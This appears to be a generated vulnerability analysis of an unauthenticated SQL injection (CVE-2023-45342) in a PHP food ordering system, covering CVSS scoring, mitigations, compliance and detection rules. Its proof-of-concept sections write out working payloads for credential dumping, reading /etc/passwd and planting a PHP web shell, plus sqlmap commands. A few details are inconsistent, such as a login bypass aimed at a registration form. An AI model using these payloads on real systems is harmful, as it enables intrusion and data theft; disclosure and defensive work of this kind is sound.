Description
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The 'phone' parameter of the routers/register-router.php resource does not validate the characters received and they are sent unfiltered to the database.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-49636 (CVE-2023-45342)
Unauthenticated SQL Injection in Online Food Ordering System v1.0
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Classification
- Type: Unauthenticated SQL Injection (SQLi)
- CWE Classification: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- OWASP Top 10 (2021): A03:2021 – Injection
Severity Analysis (CVSS v3.1)
The vulnerability has been assigned a Base Score of 9.8 (Critical) with the following vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access, including sensitive user data. |
| Integrity (I) | High (H) | Arbitrary data manipulation (insertion, deletion, modification). |
| Availability (A) | High (H) | Potential for database corruption or denial of service. |
Risk Assessment
- Exploitability: High – Publicly disclosed, no authentication required, and trivial to exploit with basic SQLi knowledge.
- Impact: Critical – Full system compromise possible, including:
- Data exfiltration (PII, payment details, credentials).
- Database manipulation (altering orders, user accounts, or financial records).
- Remote code execution (RCE) if the database supports command execution (e.g., MySQL
LOAD_FILE(),INTO OUTFILE). - Privilege escalation if administrative credentials are stored in the database.
2. Potential Attack Vectors & Exploitation Methods
Vulnerable Endpoint
- Resource:
routers/register-router.php - Parameter:
phone(and potentially other unvalidated input fields)
Exploitation Techniques
A. Basic SQL Injection (Data Extraction)
An attacker can manipulate the phone parameter to inject malicious SQL queries, bypassing authentication or extracting data.
Example Payloads:
-
Authentication Bypass (Login as Admin)
' OR '1'='1' -- -- Impact: Logs in as the first user in the database (likely an admin).
-
Database Fingerprinting
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,version(),database(),user(),14,15 -- -- Impact: Retrieves database version, name, and current user.
-
Data Exfiltration (Dumping User Credentials)
' UNION SELECT 1,2,3,4,5,6,7,username,password,10,11,12,13,14,15 FROM users -- -- Impact: Extracts usernames and passwords (likely stored in plaintext or weakly hashed).
-
File Read/Write (If MySQL with FILE Privileges)
' UNION SELECT 1,2,3,4,5,6,7,LOAD_FILE('/etc/passwd'),9,10,11,12,13,14,15 -- -- Impact: Reads sensitive system files (if MySQL has
FILEprivileges).
' UNION SELECT 1,2,3,4,5,6,7,'<?php system($_GET["cmd"]); ?>',9,10,10,11,12,13,14 INTO OUTFILE '/var/www/html/shell.php' -- -- Impact: Writes a web shell for remote code execution (RCE).
- Impact: Reads sensitive system files (if MySQL has
B. Automated Exploitation Tools
- SQLmap (Automated SQLi exploitation):
sqlmap -u "http://target.com/routers/register-router.php" --data="phone=1234567890" --batch --dbs- Flags:
--dbs(enumerate databases)--tables -D [database](list tables)--dump -D [database] -T [table](extract data)--os-shell(attempt RCE if possible)
- Flags:
C. Post-Exploitation Scenarios
-
Credential Theft & Lateral Movement
- Extract admin credentials to gain full control over the system.
- Use stolen credentials to pivot to other internal systems (if the application is part of a larger network).
-
Financial Fraud
- Modify order records, payment details, or user balances.
- Redirect payments to attacker-controlled accounts.
-
Persistence & Backdoor Installation
- Create new admin accounts.
- Upload web shells or malware for long-term access.
-
Denial of Service (DoS)
- Execute destructive queries (e.g.,
DROP TABLE users;). - Overload the database with resource-intensive queries.
- Execute destructive queries (e.g.,
3. Affected Systems & Software Versions
Vulnerable Product
- Software: Online Food Ordering System
- Vendor: Projectworlds Pvt. Limited
- Version: v1.0 (and likely earlier versions if the same codebase is used)
- ENISA Product ID:
0df93b49-7cda-35ac-8d4e-16298353909d - ENISA Vendor ID:
ca47b3e1-8c6f-3156-93cf-80aa4f7c951f
Deployment Context
- Typical Use Case: Small to medium-sized restaurants or food delivery platforms.
- Hosting Environment: Often deployed on shared hosting (e.g., Apache/Nginx + MySQL/PHP).
- Common Misconfigurations:
- Default credentials (
admin:admin,root:password). - Overly permissive database users (e.g.,
rootwithFILEprivileges). - Lack of input validation in multiple parameters (not just
phone).
- Default credentials (
4. Recommended Mitigation Strategies
Immediate Remediation (Short-Term)
-
Input Validation & Sanitization
- Use Prepared Statements (Parameterized Queries) to prevent SQLi.
// Example (PHP + PDO) $stmt = $pdo->prepare("INSERT INTO users (phone) VALUES (:phone)"); $stmt->execute(['phone' => $phone]); - Whitelist Input Validation (e.g., regex for phone numbers:
^[0-9]{10,15}$). - Escape User Input (if prepared statements are not feasible, use
mysqli_real_escape_string()or equivalent).
- Use Prepared Statements (Parameterized Queries) to prevent SQLi.
-
Disable Dangerous SQL Functions
- Restrict MySQL
FILEprivileges:REVOKE FILE ON *.* FROM 'app_user'@'localhost'; - Disable
LOAD_FILE(),INTO OUTFILE, andEXECUTEfor the application database user.
- Restrict MySQL
-
Web Application Firewall (WAF) Rules
- Deploy a WAF (e.g., ModSecurity, Cloudflare, AWS WAF) with SQLi protection rules.
- Example ModSecurity rule:
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
-
Temporary Workaround (If Patching is Delayed)
- Disable the vulnerable endpoint (
register-router.php) if not critical. - Rate-limit requests to the endpoint to slow down brute-force attacks.
- Disable the vulnerable endpoint (
Long-Term Security Hardening
-
Code Review & Secure Development
- Conduct a full security audit of the application using static (SAST) and dynamic (DAST) analysis tools.
- Tools:
- SAST: SonarQube, Checkmarx, Semgrep
- DAST: OWASP ZAP, Burp Suite, Acunetix
- Training: Educate developers on secure coding practices (OWASP Top 10, CWE/SANS Top 25).
-
Database Security
- Principle of Least Privilege: Ensure the application DB user has only necessary permissions.
- Encrypt Sensitive Data: Use AES-256 or bcrypt for passwords and PII.
- Database Activity Monitoring (DAM): Log and alert on suspicious queries.
-
Infrastructure Security
- Network Segmentation: Isolate the database server from public access.
- Regular Backups: Ensure backups are offline and encrypted to prevent ransomware.
- Patch Management: Apply security updates for PHP, MySQL, and the web server.
-
Incident Response Planning
- Develop an IR Plan for SQLi attacks, including:
- Detection: Monitor for unusual database queries (e.g.,
UNION SELECT,DROP TABLE). - Containment: Isolate affected systems, revoke compromised credentials.
- Eradication: Remove backdoors, patch vulnerabilities.
- Recovery: Restore from clean backups, rotate all credentials.
- Detection: Monitor for unusual database queries (e.g.,
- Develop an IR Plan for SQLi attacks, including:
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications
-
GDPR (General Data Protection Regulation)
- Article 32 (Security of Processing): Organizations must implement appropriate technical measures to protect personal data.
- Article 33 (Data Breach Notification): If exploited, a breach must be reported to authorities within 72 hours.
- Fines: Up to €20 million or 4% of global revenue (whichever is higher) for non-compliance.
-
NIS2 Directive (Network and Information Security)
- Applies to essential and important entities (e.g., food delivery platforms in critical supply chains).
- Requires risk management measures and incident reporting.
-
PCI DSS (Payment Card Industry Data Security Standard)
- If the system processes payments, PCI DSS Requirement 6.5 mandates protection against SQLi.
- Non-compliance can lead to fines or loss of payment processing capabilities.
Threat Landscape in Europe
- Rise of Automated Attacks: Tools like SQLmap and Havij are widely used by script kiddies and cybercriminals to exploit SQLi vulnerabilities.
- Targeted Attacks on SMEs: Small food delivery platforms are low-hanging fruit for attackers due to poor security practices.
- Ransomware & Data Theft: Exploited SQLi vulnerabilities are a common entry point for ransomware gangs (e.g., LockBit, BlackCat).
- Supply Chain Risks: If the vulnerable software is used by multiple restaurants, a single breach could compromise multiple businesses.
ENISA & National CSIRT Involvement
- ENISA (European Union Agency for Cybersecurity) may issue alerts for critical vulnerabilities affecting EU businesses.
- National CSIRTs (e.g., CERT-EU, ANSSI, BSI) may provide guidance and threat intelligence to affected organizations.
- EU Cybersecurity Act: Encourages vulnerability disclosure and coordinated response to critical flaws.
6. Technical Details for Security Professionals
Proof of Concept (PoC) Exploitation
Step 1: Identify the Vulnerable Parameter
- Request:
POST /routers/register-router.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded phone=1234567890&[other_params] - Test for SQLi:
POST /routers/register-router.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded phone=1234567890' AND 1=1 -- -&[other_params]- Expected Behavior: If vulnerable, the query executes successfully (no error).
- Error-Based SQLi Test:
phone=1234567890' AND (SELECT 0 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -- Expected Output: Database name in an error message.
Step 2: Enumerate Database Schema
- List Databases:
' UNION SELECT 1,2,3,4,5,6,7,schema_name,9,10,11,12,13,14,15 FROM information_schema.schemata -- - - List Tables in a Database:
' UNION SELECT 1,2,3,4,5,6,7,table_name,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='food_ordering' -- - - List Columns in a Table:
' UNION SELECT 1,2,3,4,5,6,7,column_name,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_name='users' -- -
Step 3: Extract Sensitive Data
- Dump User Credentials:
' UNION SELECT 1,2,3,4,5,6,7,username,password,10,11,12,13,14,15 FROM users -- - - Check for File Read/Write:
' UNION SELECT 1,2,3,4,5,6,7,LOAD_FILE('/etc/passwd'),9,10,11,12,13,14,15 -- -
Step 4: Achieve Remote Code Execution (RCE)
- Write a Web Shell:
' UNION SELECT 1,2,3,4,5,6,7,'<?php system($_GET["cmd"]); ?>',9,10,10,11,12,13,14 INTO OUTFILE '/var/www/html/shell.php' -- - - Access the Shell:
GET /shell.php?cmd=id HTTP/1.1 Host: target.com- Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Expected Output:
Forensic Analysis & Detection
Indicators of Compromise (IoCs)
| IoC Type | Example |
|---|---|
| Database Logs | Unusual UNION SELECT, LOAD_FILE, INTO OUTFILE queries. |
| Web Server Logs | Repeated failed login attempts with SQLi payloads. |
| Network Traffic | Outbound connections to attacker-controlled IPs (data exfiltration). |
| File System | Unexpected .php files in web directories (e.g., shell.php). |
| Processes | Unauthorized netcat, python, or bash reverse shells. |
Detection Rules (SIEM/SOC)
- Splunk Query:
index=web sourcetype=access_* (phone="*UNION*" OR phone="*SELECT*" OR phone="*--*") | stats count by src_ip, phone | where count > 5 - Sigma Rule (YAML):
title: SQL Injection Attempt in Online Food Ordering System id: 1a2b3c4d-5e6f-7g8h-9i0j-k1l2m3n4o5p6 status: experimental description: Detects SQL injection attempts in the 'phone' parameter of register-router.php references: - https://fluidattacks.com/advisories/hann author: Your SOC Team date: 2024/08/02 logsource: category: webserver product: apache detection: selection: cs_uri_query|contains: "phone=" cs_uri_query|contains: - "UNION" - "SELECT" - "INSERT" - "DELETE" - "DROP" - "--" - "/*" - "*/" - "EXEC" - "LOAD_FILE" - "INTO OUTFILE" condition: selection falsepositives: - Legitimate API testing level: high
Reverse Engineering the Vulnerable Code
Likely Vulnerable Code Snippet (PHP)
// routers/register-router.php (Insecure Implementation)
$phone = $_POST['phone'];
$query = "INSERT INTO users (phone) VALUES ('$phone')";
$result = mysqli_query($conn, $query);
- Issue: Direct string interpolation without sanitization or parameterization.
- Fix: Use prepared statements (as shown in Section 4).
Database Schema Analysis
- Likely Tables:
users(stores credentials, PII)orders(financial data, customer details)payments(credit card info, if stored)
- Common Weaknesses:
- Plaintext passwords (instead of bcrypt/Argon2).
- Overly permissive database user (e.g.,
rootwithFILEprivileges).
Conclusion & Recommendations
Key Takeaways
- Critical Severity: EUVD-2023-49636 is a high-impact, easily exploitable SQLi vulnerability with CVSS 9.8.
- Widespread Risk: Affects Online Food Ordering System v1.0, likely used by SMEs across Europe.
- Regulatory Exposure: Non-compliance with GDPR, NIS2, and PCI DSS could lead to heavy fines.
- Exploitation is Trivial: Attackers can steal data, escalate privileges, or achieve RCE with minimal effort.
Action Plan for Organizations
| Priority | Action | Owner | Timeline |
|---|---|---|---|
| Critical | Apply prepared statements & input validation | Dev Team | Immediate (24h) |
| Critical | Disable dangerous SQL functions (FILE, INTO OUTFILE) | DB Admin | Immediate (24h) |
| High | Deploy WAF with SQLi protection | SecOps | 48h |
| High | Rotate all database credentials | SecOps | 48h |
| Medium | Conduct a full security audit (SAST/DAST) | Security Team | 1 week |
| Medium | Implement database activity monitoring | SecOps | 1 week |
| Low | Train developers on secure coding (OWASP Top 10) | HR/Training | 1 month |
Final Recommendations for Security Teams
- Patch Immediately: If the vendor has released a fix, apply it without delay.
- Assume Breach: If the system was exposed, investigate for signs of compromise.
- Monitor for Exploitation: Set up SIEM alerts for SQLi attempts.
- Report to Authorities: If a breach occurs, notify relevant EU cybersecurity agencies (e.g., CERT-EU, national CSIRT).
References: